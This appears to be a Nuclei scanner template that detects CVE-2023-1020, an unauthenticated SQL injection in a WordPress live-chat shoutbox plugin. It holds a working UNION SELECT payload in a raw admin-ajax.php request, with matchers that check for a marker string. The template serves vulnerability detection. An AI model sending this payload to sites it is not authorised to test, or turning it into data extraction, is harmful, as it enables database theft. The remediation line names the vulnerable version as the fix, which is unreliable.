Steveas WP Live Chat Shoutbox <= 1.4.2 - SQL Injection

id: CVE-2023-1020

info:
  name: Steveas WP Live Chat Shoutbox <= 1.4.2 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The Steveas WP Live Chat Shoutbox WordPress plugin through 1.4.2 does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.
  impact: |
    Unauthenticated attackers can execute SQL injection through AJAX actions to extract the complete WordPress database including chat logs and user credentials.
  remediation: |
    Update to the latest version of the Steveas WP Live Chat Shoutbox plugin (1.4.2) or apply the vendor-provided patch to fix the SQL Injection vulnerability.
  reference:
    - https://wpscan.com/vulnerability/4e5aa9a3-65a0-47d6-bc26-a2fb6cb073ff
    - https://wordpress.org/plugins/wp-shoutbox-live-chat/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1020
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-1020
    cwe-id: CWE-89
    epss-score: 0.0499
    epss-percentile: 0.91175
    cpe: cpe:2.3:a:wp_live_chat_shoutbox_project:wp_live_chat_shoutbox:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wp_live_chat_shoutbox_project
    product: wp_live_chat_shoutbox
    framework: wordpress
  tags: cve2023,cve,wpscan,sqli,wordpress,wp-plugin,wp,wp-shoutbox-live-chat,wp_live_chat_shoutbox_project,vkev,vuln

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        action=shoutbox-ajax-update-messages&last_timestamp=0)+UNION+ALL+SELECT+NULL,NULL,(SELECT+CONCAT(0x6338633630353939396633643833353264376262373932636633666462323562)),NULL,NULL,NULL,NULL,NULL--+&rooms%5B%5D=default

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "c8c605999f3d8352d7bb792cf3fdb25b"
          - "no_participation"
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
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